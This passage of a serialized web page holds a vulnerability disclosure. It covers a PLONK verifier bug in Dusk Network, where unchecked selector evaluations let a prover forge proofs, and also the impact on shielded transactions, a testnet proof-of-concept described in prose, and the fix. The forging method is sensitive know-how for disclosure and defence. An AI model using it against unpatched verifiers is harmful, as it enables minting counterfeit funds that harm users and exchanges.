ircuit_impl.rs#L89-L90",[96],[144340],{"type":28,"value":144341},"Range checks on inputs",{"type":28,"value":430},{"type":23,"tag":92,"props":144344,"children":144347},{"href":144345,"rel":144346},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[96],[144348],{"type":28,"value":144266},{"type":23,"tag":121784,"props":144350,"children":144351},{},[144352,144354],{"type":28,"value":144353},"All note values lie in ",{"type":23,"tag":56,"props":144355,"children":144357},{"className":144356},[2960,2961],[144358],{"type":23,"tag":504,"props":144359,"children":144361},{"className":144360},[2966],[144362],{"type":23,"tag":504,"props":144363,"children":144365},{"className":144364,"ariaHidden":2972},[2971],[144366,144451],{"type":23,"tag":504,"props":144367,"children":144369},{"className":144368},[2977],[144370,144374,144379,144384,144389,144393,144438,144442,144447],{"type":23,"tag":504,"props":144371,"children":144373},{"className":144372,"style":114110},[2982],[],{"type":23,"tag":504,"props":144375,"children":144377},{"className":144376},[20698],[144378],{"type":28,"value":2711},{"type":23,"tag":504,"props":144380,"children":144382},{"className":144381},[2988],[144383],{"type":28,"value":3001},{"type":23,"tag":504,"props":144385,"children":144387},{"className":144386},[3101],[144388],{"type":28,"value":3104},{"type":23,"tag":504,"props":144390,"children":144392},{"className":144391,"style":3108},[3069],[],{"type":23,"tag":504,"props":144394,"children":144396},{"className":144395},[2988],[144397,144402],{"type":23,"tag":504,"props":144398,"children":144400},{"className":144399},[2988],[144401],{"type":28,"value":2100},{"type":23,"tag":504,"props":144403,"children":144405},{"className":144404},[3005],[144406],{"type":23,"tag":504,"props":144407,"children":144409},{"className":144408},[3010],[144410],{"type":23,"tag":504,"props":144411,"children":144413},{"className":144412},[3015],[144414],{"type":23,"tag":504,"props":144415,"children":144417},{"className":144416,"style":2983},[3020],[144418],{"type":23,"tag":504,"props":144419,"children":144420},{"style":3024},[144421,144425],{"type":23,"tag":504,"props":144422,"children":144424},{"className":144423,"style":3030},[3029],[],{"type":23,"tag":504,"props":144426,"children":144428},{"className":144427},[3035,3036,3037,3038],[144429],{"type":23,"tag":504,"props":144430,"children":144432},{"className":144431},[2988,3038],[144433],{"type":23,"tag":504,"props":144434,"children":144436},{"className":144435},[2988,3038],[144437],{"type":28,"value":28404},{"type":23,"tag":504,"props":144439,"children":144441},{"className":144440,"style":3070},[3069],[],{"type":23,"tag":504,"props":144443,"children":144445},{"className":144444},[3075],[144446],{"type":28,"value":3049},{"type":23,"tag":504,"props":144448,"children":144450},{"className":144449,"style":3070},[3069],[],{"type":23,"tag":504,"props":144452,"children":144454},{"className":144453},[2977],[144455,144459,144464],{"type":23,"tag":504,"props":144456,"children":144458},{"className":144457,"style":3090},[2982],[],{"type":23,"tag":504,"props":144460,"children":144462},{"className":144461},[2988],[144463],{"type":28,"value":2991},{"type":23,"tag":504,"props":144465,"children":144467},{"className":144466},[20720],[144468],{"type":28,"value":14391},{"type":23,"tag":121753,"props":144470,"children":144471},{},[144472,144482],{"type":23,"tag":121784,"props":144473,"children":144474},{},[144475],{"type":23,"tag":92,"props":144476,"children":144479},{"href":144477,"rel":144478},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[96],[144480],{"type":28,"value":144481},"Sender-authorship signatures",{"type":23,"tag":121784,"props":144483,"children":144484},{},[144485],{"type":28,"value":144486},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":121753,"props":144488,"children":144489},{},[144490,144500],{"type":23,"tag":121784,"props":144491,"children":144492},{},[144493],{"type":23,"tag":92,"props":144494,"children":144497},{"href":144495,"rel":144496},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[96],[144498],{"type":28,"value":144499},"Sender encryption correctness",{"type":23,"tag":121784,"props":144501,"children":144502},{},[144503],{"type":28,"value":144504},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":24,"props":144506,"children":144507},{},[144508,144510,144516,144518,144527],{"type":28,"value":144509},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":56,"props":144511,"children":144513},{"className":144512},[],[144514],{"type":28,"value":144515},"tx.public_inputs()",{"type":28,"value":144517}," via ",{"type":23,"tag":92,"props":144519,"children":144521},{"href":143957,"rel":144520},[96],[144522],{"type":23,"tag":56,"props":144523,"children":144525},{"className":144524},[],[144526],{"type":28,"value":143965},{"type":28,"value":320},{"type":23,"tag":24,"props":144529,"children":144530},{},[144531],{"type":28,"value":144532},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":17774,"props":144534,"children":144535},{},[],{"type":23,"tag":70,"props":144537,"children":144538},{"id":89052},[144539],{"type":28,"value":144540},"The bug",{"type":23,"tag":24,"props":144542,"children":144543},{},[144544,144546,144553,144555,144566],{"type":28,"value":144545},"In the ",{"type":23,"tag":92,"props":144547,"children":144550},{"href":144548,"rel":144549},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[96],[144551],{"type":28,"value":144552},"PLONK verification",{"type":28,"value":144554},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":92,"props":144556,"children":144559},{"href":144557,"rel":144558},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[96],[144560],{"type":23,"tag":56,"props":144561,"children":144563},{"className":144562},[],[144564],{"type":28,"value":144565},"E_evals",{"type":28,"value":144567},") are:",{"type":23,"tag":350,"props":144569,"children":144570},{},[144571,144603,144628,144653],{"type":23,"tag":45,"props":144572,"children":144573},{},[144574,144580,144581,144587,144588,144594,144595,144601],{"type":23,"tag":56,"props":144575,"children":144577},{"className":144576},[],[144578],{"type":28,"value":144579},"a_eval",{"type":28,"value":576},{"type":23,"tag":56,"props":144582,"children":144584},{"className":144583},[],[144585],{"type":28,"value":144586},"b_eval",{"type":28,"value":576},{"type":23,"tag":56,"props":144589,"children":144591},{"className":144590},[],[144592],{"type":28,"value":144593},"c_eval",{"type":28,"value":576},{"type":23,"tag":56,"props":144596,"children":144598},{"className":144597},[],[144599],{"type":28,"value":144600},"d_eval",{"type":28,"value":144602}," (witness)",{"type":23,"tag":45,"props":144604,"children":144605},{},[144606,144612,144613,144619,144620,144626],{"type":23,"tag":56,"props":144607,"children":144609},{"className":144608},[],[144610],{"type":28,"value":144611},"s_sigma_1_eval",{"type":28,"value":576},{"type":23,"tag":56,"props":144614,"children":144616},{"className":144615},[],[144617],{"type":28,"value":144618},"s_sigma_2_eval",{"type":28,"value":576},{"type":23,"tag":56,"props":144621,"children":144623},{"className":144622},[],[144624],{"type":28,"value":144625},"s_sigma_3_eval",{"type":28,"value":144627}," (permutation)",{"type":23,"tag":45,"props":144629,"children":144630},{},[144631,144637,144638,144644,144645,144651],{"type":23,"tag":56,"props":144632,"children":144634},{"className":144633},[],[144635],{"type":28,"value":144636},"a_w_eval",{"type":28,"value":576},{"type":23,"tag":56,"props":144639,"children":144641},{"className":144640},[],[144642],{"type":28,"value":144643},"b_w_eval",{"type":28,"value":576},{"type":23,"tag":56,"props":144646,"children":144648},{"className":144647},[],[144649],{"type":28,"value":144650},"d_w_eval",{"type":28,"value":144652}," (shifted witness)",{"type":23,"tag":45,"props":144654,"children":144655},{},[144656,144662],{"type":23,"tag":56,"props":144657,"children":144659},{"className":144658},[],[144660],{"type":28,"value":144661},"z_eval",{"type":28,"value":144663}," (permutation accumulator)",{"type":23,"tag":24,"props":144665,"children":144666},{},[144667,144669,144673],{"type":28,"value":144668},"But the following selector evaluations were ",{"type":23,"tag":1887,"props":144670,"children":144671},{},[144672],{"type":28,"value":17469},{"type":28,"value":144674}," included:",{"type":23,"tag":350,"props":144676,"children":144677},{},[144678,144689,144700,144711],{"type":23,"tag":45,"props":144679,"children":144680},{},[144681,144687],{"type":23,"tag":56,"props":144682,"children":144684},{"className":144683},[],[144685],{"type":28,"value":144686},"q_arith_eval",{"type":28,"value":144688}," (arithmetic selector)",{"type":23,"tag":45,"props":144690,"children":144691},{},[144692,144698],{"type":23,"tag":56,"props":144693,"children":144695},{"className":144694},[],[144696],{"type":28,"value":144697},"q_c_eval",{"type":28,"value":144699}," (constant selector)",{"type":23,"tag":45,"props":144701,"children":144702},{},[144703,144709],{"type":23,"tag":56,"props":144704,"children":144706},{"className":144705},[],[144707],{"type":28,"value":144708},"q_l_eval",{"type":28,"value":144710}," (left selector)",{"type":23,"tag":45,"props":144712,"children":144713},{},[144714,144720],{"type":23,"tag":56,"props":144715,"children":144717},{"className":144716},[],[144718],{"type":28,"value":144719},"q_r_eval",{"type":28,"value":144721}," (right selector)",{"type":23,"tag":24,"props":144723,"children":144724},{},[144725,144727,144734,144735,144742,144743,144750,144751,144758],{"type":28,"value":144726},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":92,"props":144728,"children":144731},{"href":144729,"rel":144730},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[96],[144732],{"type":28,"value":144733},"proof struct",{"type":28,"value":576},{"type":23,"tag":92,"props":144736,"children":144739},{"href":144737,"rel":144738},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[96],[144740],{"type":28,"value":144741},"transcript absorption",{"type":28,"value":576},{"type":23,"tag":92,"props":144744,"children":144747},{"href":144745,"rel":144746},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[96],[144748],{"type":28,"value":144749},"arithmetic widget",{"type":28,"value":576},{"type":23,"tag":92,"props":144752,"children":144755},{"href":144753,"rel":144754},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[96],[144756],{"type":28,"value":144757},"fixed-base ECC widget",{"type":28,"value":144759},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":24,"props":144761,"children":144762},{},[144763,144765,144769],{"type":28,"value":144764},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":1887,"props":144766,"children":144767},{},[144768],{"type":28,"value":17469},{"type":28,"value":144770}," bugs:",{"type":23,"tag":350,"props":144772,"children":144773},{},[144774,144914],{"type":23,"tag":45,"props":144775,"children":144776},{},[144777,144779,144824,144826,144832,144834,144839,144840,144845,144846,144851,144853,144859,144861,144906,144908,144913],{"type":28,"value":144778},"There is no prover-supplied ",{"type":23,"tag":56,"props":144780,"children":144782},{"className":144781},[2960,2961],[144783],{"type":23,"tag":504,"props":144784,"children":144786},{"className":144785},[2966],[144787],{"type":23,"tag":504,"props":144788,"children":144790},{"className":144789,"ariaHidden":2972},[2971],[144791],{"type":23,"tag":504,"props":144792,"children":144794},{"className":144793},[2977],[144795,144799,144804,144809,144814,144819],{"type":23,"tag":504,"props":144796,"children":144798},{"className":144797,"style":3090},[2982],[],{"type":23,"tag":504,"props":144800,"children":144802},{"className":144801},[2988,20569],[144803],{"type":28,"value":2124},{"type":23,"tag":504,"props":144805,"children":144807},{"className":144806},[20698],[144808],{"type":28,"value":526},{"type":23,"tag":504,"props":144810,"children":144812},{"className":144811,"style":112355},[2988,20569],[144813],{"type":28,"value":112358},{"type":23,"tag":504,"props":144815,"children":144817},{"className":144816,"style":92284},[2988,20569],[144818],{"type":28,"value":143488},{"type":23,"tag":504,"props":144820,"children":144822},{"className":144821},[20720],[144823],{"type":28,"value":2105},{"type":28,"value":144825}," field at all. ",{"type":23,"tag":56,"props":144827,"children":144829},{"className":144828},[],[144830],{"type":28,"value":144831},"ProofEvaluations",{"type":28,"value":144833}," contains ",{"type":23,"tag":56,"props":144835,"children":144837},{"className":144836},[],[144838],{"type":28,"value":144636},{"type":28,"value":576},{"type":23,"tag":56,"props":144841,"children":144843},{"className":144842},[],[144844],{"type":28,"value":144643},{"type":28,"value":5471},{"type":23,"tag":56,"props":144847,"children":144849},{"className":144848},[],[144850],{"type":28,"value":144650},{"type":28,"value":144852},", but no ",{"type":23,"tag":56,"props":144854,"children":144856},{"className":144855},[],[144857],{"type":28,"value":144858},"c_w_eval",{"type":28,"value":144860},", so the verifier never consumes an unbound ",{"type":23,"tag":56,"props":144862,"children":144864},{"className":144863},[2960,2961],[144865],{"type":23,"tag":504,"props":144866,"children":144868},{"className":144867},[2966],[144869],{"type":23,"tag":504,"props":144870,"children":144872},{"className":144871,"ariaHidden":2972},[2971],[144873],{"type":23,"tag":504,"props":144874,"children":144876},{"className":144875},[2977],[144877,144881,144886,144891,144896,144901],{"type":23,"tag":504,"props":144878,"children":144880},{"className":144879,"style":3090},[2982],[],{"type":23,"tag":504,"props":144882,"children":144884},{"className":144883},[2988,20569],[144885],{"type":28,"value":2124},{"type":23,"tag":504,"props":144887,"children":144889},{"className":144888},[20698],[144890],{"type":28,"value":526},{"type":23,"tag":504,"props":144892,"children":144894},{"className":144893,"style":112355},[2988,20569],[144895],{"type":28,"value":112358},{"type":23,"tag":504,"props":144897,"children":144899},{"className":144898,"style":92284},[2988,20569],[144900],{"type":28,"value":143488},{"type":23,"tag":504,"props":144902,"children":144904},{"className":144903},[20720],[144905],{"type":28,"value":2105},{"type":28,"value":144907}," claim (",{"type":23,"tag":92,"props":144909,"children":144911},{"href":144729,"rel":144910},[96],[144912],{"type":28,"value":144733},{"type":28,"value":270},{"type":23,"tag":45,"props":144915,"children":144916},{},[144917,144919,145006,145008,145100,145101,145108],{"type":28,"value":144918},"There is a fourth permutation commitment ",{"type":23,"tag":56,"props":144920,"children":144922},{"className":144921},[2960,2961],[144923],{"type":23,"tag":504,"props":144924,"children":144926},{"className":144925},[2966],[144927],{"type":23,"tag":504,"props":144928,"children":144930},{"className":144929,"ariaHidden":2972},[2971],[144931],{"type":23,"tag":504,"props":144932,"children":144934},{"className":144933},[2977],[144935,144939,144944,145001],{"type":23,"tag":504,"props":144936,"children":144938},{"className":144937,"style":3090},[2982],[],{"type":23,"tag":504,"props":144940,"children":144942},{"className":144941},[20698],[144943],{"type":28,"value":2711},{"type":23,"tag":504,"props":144945,"children":144947},{"className":144946},[2988],[144948,144953],{"type":23,"tag":504,"props":144949,"children":144951},{"className":144950,"style":92284},[2988,20569],[144952],{"type":28,"value":143383},{"type":23,"tag":504,"props":144954,"children":144956},{"className":144955},[3005],[144957],{"type":23,"tag":504,"props":144958,"children":144960},{"className":144959},[3010,20623],[144961,144990],{"type":23,"tag":504,"props":144962,"children":144964},{"className":144963},[3015],[144965,144985],{"type":23,"tag":504,"props":144966,"children":144968},{"className":144967,"style":91850},[3020],[144969],{"type":23,"tag":504,"props":144970,"children":144971},{"style":92331},[144972,144976],{"type":23,"tag":504,"props":144973,"children":144975},{"className":144974,"style":3030},[3029],[],{"type":23,"tag":504,"props":144977,"children":144979},{"className":144978},[3035,3036,3037,3038],[144980],{"type":23,"tag":504,"props":144981,"children":144983},{"className":144982},[2988,3038],[144984],{"type":28,"value":16508},{"type":23,"tag":504,"props":144986,"children":144988},{"className":144987},[20726],[144989],{"type":28,"value":20729},{"type":23,"tag":504,"props":144991,"children":144993},{"className":144992},[3015],[144994],{"type":23,"tag":504,"props":144995,"children":144997},{"className":144996,"style":91881},[3020],[144998],{"type":23,"tag":504,"props":144999,"children":145000},{},[],{"type":23,"tag":504,"props":145002,"children":145004},{"className":145003},[20720],[145005],{"type":28,"value":14391},{"type":28,"value":145007}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":56,"props":145009,"children":145011},{"className":145010},[2960,2961],[145012],{"type":23,"tag":504,"props":145013,"children":145015},{"className":145014},[2966],[145016],{"type":23,"tag":504,"props":145017,"children":145019},{"className":145018,"ariaHidden":2972},[2971],[145020],{"type":23,"tag":504,"props":145021,"children":145023},{"className":145022},[2977],[145024,145028,145085,145090,145095],{"type":23,"tag":504,"props":145025,"children":145027},{"className":145026,"style":3090},[2982],[],{"type":23,"tag":504,"props":145029,"children":145031},{"className":145030},[2988],[145032,145037],{"type":23,"tag":504,"props":145033,"children":145035},{"className":145034,"style":92284},[2988,20569],[145036],{"type":28,"value":143383},{"type":23,"tag":504,"props":145038,"children":145040},{"className":145039},[3005],[145041],{"type":23,"tag":504,"props":145042,"children":145044},{"className":145043},[3010,20623],[145045,145074],{"type":23,"tag":504,"props":145046,"children":145048},{"className":145047},[3015],[145049,145069],{"type":23,"tag":504,"props":145050,"children":145052},{"className":145051,"style":91850},[3020],[145053],{"type":23,"tag":504,"props":145054,"children":145055},{"style":92331},[145056,145060],{"type":23,"tag":504,"props":145057,"children":145059},{"className":145058,"style":3030},[3029],[],{"type":23,"tag":504,"props":145061,"children":145063},{"className":145062},[3035,3036,3037,3038],[145064],{"type":23,"tag":504,"props":145065,"children":145067},{"className":145066},[2988,3038],[145068],{"type":28,"value":16508},{"type":23,"tag":504,"props":145070,"children":145072},{"className":145071},[20726],[145073],{"type":28,"value":20729},{"type":23,"tag":504,"props":145075,"children":145077},{"className":145076},[3015],[145078],{"type":23,"tag":504,"props":145079,"children":145081},{"className":145080,"style":91881},[3020],[145082],{"type":23,"tag":504,"props":145083,"children":145084},{},[],{"type":23,"tag":504,"props":145086,"children":145088},{"className":145087},[20698],[145089],{"type":28,"value":526},{"type":23,"tag":504,"props":145091,"children":145093},{"className":145092,"style":112355},[2988,20569],[145094],{"type":28,"value":112358},{"type":23,"tag":504,"props":145096,"children":145098},{"className":145097},[20720],[145099],{"type":28,"value":2105},{"type":28,"value":801},{"type":23,"tag":92,"props":145102,"children":145105},{"href":145103,"rel":145104},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[96],[145106],{"type":28,"value":145107},"permutation verifier key",{"type":28,"value":270},{"type":23,"tag":24,"props":145110,"children":145111},{},[145112,145114,145124],{"type":28,"value":145113},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":23,"tag":92,"props":145115,"children":145118},{"href":145116,"rel":145117},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[96],[145119],{"type":23,"tag":56,"props":145120,"children":145122},{"className":145121},[],[145123],{"type":28,"value":144565},{"type":28,"value":145125},", which leaves the master equation underconstrained.",{"type":23,"tag":24,"props":145127,"children":145128},{},[145129],{"type":23,"tag":126,"props":145130,"children":145133},{"alt":145131,"src":145132},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":17774,"props":145135,"children":145136},{},[],{"type":23,"tag":70,"props":145138,"children":145140},{"id":145139},"the-exploitation",[145141],{"type":28,"value":145142},"The exploitation",{"type":23,"tag":24,"props":145144,"children":145145},{},[145146],{"type":28,"value":145147},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":24,"props":145149,"children":145150},{},[145151,145153,145159,145161,145166,145168,145173,145175,145181],{"type":28,"value":145152},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":56,"props":145154,"children":145156},{"className":145155},[],[145157],{"type":28,"value":145158},"z_challenge",{"type":28,"value":145160},", it computes what the linearization polynomial ",{"type":23,"tag":1887,"props":145162,"children":145163},{},[145164],{"type":28,"value":145165},"should",{"type":28,"value":145167}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":56,"props":145169,"children":145171},{"className":145170},[],[145172],{"type":28,"value":144686},{"type":28,"value":145174},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":56,"props":145176,"children":145178},{"className":145177},[],[145179],{"type":28,"value":145180},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":28,"value":270},{"type":23,"tag":24,"props":145183,"children":145184},{},[145185],{"type":23,"tag":126,"props":145186,"children":145189},{"alt":145187,"src":145188},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":24,"props":145191,"children":145192},{},[145193,145195,145235,145237,145262,145264,145269],{"type":28,"value":145194},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":56,"props":145196,"children":145198},{"className":145197},[2960,2961],[145199],{"type":23,"tag":504,"props":145200,"children":145202},{"className":145201},[2966],[145203],{"type":23,"tag":504,"props":145204,"children":145206},{"className":145205,"ariaHidden":2972},[2971],[145207],{"type":23,"tag":504,"props":145208,"children":145210},{"className":145209},[2977],[145211,145215,145220,145225,145230],{"type":23,"tag":504,"props":145212,"children":145214},{"className":145213,"style":3090},[2982],[],{"type":23,"tag":504,"props":145216,"children":145218},{"className":145217,"style":91798},[2988,20569],[145219],{"type":28,"value":92617},{"type":23,"tag":504,"props":145221,"children":145223},{"className":145222},[20698],[145224],{"type":28,"value":526},{"type":23,"tag":504,"props":145226,"children":145228},{"className":145227},[2988,20569],[145229],{"type":28,"value":18257},{"type":23,"tag":504,"props":145231,"children":145233},{"className":145232},[20720],[145234],{"type":28,"value":2105},{"type":28,"value":145236}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":56,"props":145238,"children":145240},{"className":145239},[2960,2961],[145241],{"type":23,"tag":504,"props":145242,"children":145244},{"className":145243},[2966],[145245],{"type":23,"tag":504,"props":145246,"children":145248},{"className":145247,"ariaHidden":2972},[2971],[145249],{"type":23,"tag":504,"props":145250,"children":145252},{"className":145251},[2977],[145253,145257],{"type":23,"tag":504,"props":145254,"children":145256},{"className":145255,"style":109639},[2982],[],{"type":23,"tag":504,"props":145258,"children":145260},{"className":145259,"style":112355},[2988,20569],[145261],{"type":28,"value":112358},{"type":28,"value":145263},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":56,"props":145265,"children":145267},{"className":145266},[],[145268],{"type":28,"value":144686},{"type":28,"value":145270}," gives the required value in a single field division.",{"type":23,"tag":17774,"props":145272,"children":145273},{},[],{"type":23,"tag":70,"props":145275,"children":145277},{"id":145276},"impact-on-dusk-network",[145278],{"type":28,"value":145279},"Impact on Dusk Network",{"type":23,"tag":24,"props":145281,"children":145282},{},[145283,145285,145292],{"type":28,"value":145284},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":23,"tag":92,"props":145286,"children":145289},{"href":145287,"rel":145288},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[96],[145290],{"type":28,"value":145291},"preverify path",{"type":28,"value":145293},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":41,"props":145295,"children":145296},{},[145297,145302,145307],{"type":23,"tag":45,"props":145298,"children":145299},{},[145300],{"type":28,"value":145301},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":45,"props":145303,"children":145304},{},[145305],{"type":28,"value":145306},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":45,"props":145308,"children":145309},{},[145310],{"type":28,"value":145311},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":24,"props":145313,"children":145314},{},[145315],{"type":28,"value":145316},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":41,"props":145318,"children":145319},{},[145320,145325,145335,145347,145352],{"type":23,"tag":45,"props":145321,"children":145322},{},[145323],{"type":28,"value":145324},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":45,"props":145326,"children":145327},{},[145328,145330],{"type":28,"value":145329},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":296,"props":145331,"children":145332},{},[145333],{"type":28,"value":145334},"2000 DUSK from nothing",{"type":23,"tag":45,"props":145336,"children":145337},{},[145338,145340,145345],{"type":28,"value":145339},"The malicious wallet transfers ",{"type":23,"tag":296,"props":145341,"children":145342},{},[145343],{"type":28,"value":145344},"1337 DUSK",{"type":28,"value":145346}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":45,"props":145348,"children":145349},{},[145350],{"type":28,"value":145351},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":45,"props":145353,"children":145354},{},[145355],{"type":28,"value":145356},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":24,"props":145358,"children":145359},{},[145360],{"type":23,"tag":126,"props":145361,"children":145364},{"alt":145362,"src":145363},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":24,"props":145366,"children":145367},{},[145368,145370,145376,145378,145385],{"type":28,"value":145369},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":92,"props":145371,"children":145373},{"href":140671,"rel":145372},[96],[145374],{"type":28,"value":145375},"~60M",{"type":28,"value":145377},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":92,"props":145379,"children":145382},{"href":145380,"rel":145381},"https://neptune.cash/articles/critical-vulnerability-disclosure",[96],[145383],{"type":28,"value":145384},"Triton VM vulnerability",{"type":28,"value":320},{"type":23,"tag":17774,"props":145387,"children":145388},{},[],{"type":23,"tag":70,"props":145390,"children":145392},{"id":145391},"the-fix",[145393],{"type":28,"value":145394},"The fix",{"type":23,"tag":24,"props":145396,"children":145397},{},[145398],{"type":28,"value":145399},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":350,"props":145401,"children":145402},{},[145403,145448],{"type":23,"tag":45,"props":145404,"children":145405},{},[145406,145408,145419,145421,145427,145428,145434,145435,145441,145442],{"type":28,"value":145407},"Extend ",{"type":23,"tag":92,"props":145409,"children":145412},{"href":145410,"rel":145411},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[96],[145413],{"type":23,"tag":56,"props":145414,"children":145416},{"className":145415},[],[145417],{"type":28,"value":145418},"compute_aggregate_witness",{"type":28,"value":145420}," on the prover side to also include ",{"type":23,"tag":56,"props":145422,"children":145424},{"className":145423},[],[145425],{"type":28,"value":145426},"q_arith",{"type":28,"value":576},{"type":23,"tag":56,"props":145429,"children":145431},{"className":145430},[],[145432],{"type":28,"value":145433},"q_c",{"type":28,"value":576},{"type":23,"tag":56,"props":145436,"children":145438},{"className":145437},[],[145439],{"type":28,"value":145440},"q_l",{"type":28,"value":5471},{"type":23,"tag":56,"props":145443,"children":145445},{"className":145444},[],[145446],{"type":28,"value":145447},"q_r",{"type":23,"tag":45,"props":145449,"children":145450},{},[145451,145453,145463],{"type":28,"value":145452},"Add their evaluations to ",{"type":23,"tag":92,"props":145454,"children":145457},{"href":145455,"rel":145456},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[96],[145458],{"type":23,"tag":56,"props":145459,"children":145461},{"className":145460},[],[145462],{"type":28,"value":144565},{"type":28,"value":145464}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":24,"props":145466,"children":145467},{},[145468,145470,145477],{"type":28,"value":145469},"This was done in ",{"type":23,"tag":92,"props":145471,"children":145474},{"href":145472,"rel":145473},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[96],[145475],{"type":28,"value":145476},"commit 645265b7",{"type":28,"value":145478},", which landed on February 14, 2026.",{"type":23,"tag":17774,"props":145480,"children":145481},{},[],{"type":23,"tag":70,"props":145483,"children":145485},{"id":145484},"why-was-this-missed",[145486],{"type":28,"value":145487},"Why was this missed?",{"type":23,"tag":24,"props":145489,"children":145490},{},[145491,145493,145500,145501,145508,145510,145517,145519,145526],{"type":28,"value":145492},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":92,"props":145494,"children":145497},{"href":145495,"rel":145496},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[96],[145498],{"type":28,"value":145499},"December 2023 audit of dusk-plonk",{"type":28,"value":123141},{"type":23,"tag":92,"props":145502,"children":145505},{"href":145503,"rel":145504},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[96],[145506],{"type":28,"value":145507},"September 2024 audit of Phoenix",{"type":28,"value":145509},", and a ",{"type":23,"tag":92,"props":145511,"children":145514},{"href":145512,"rel":145513},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[96],[145515],{"type":28,"value":145516},"September 2024 Oak Security audit of the Rusk node library",{"type":28,"value":145518},". 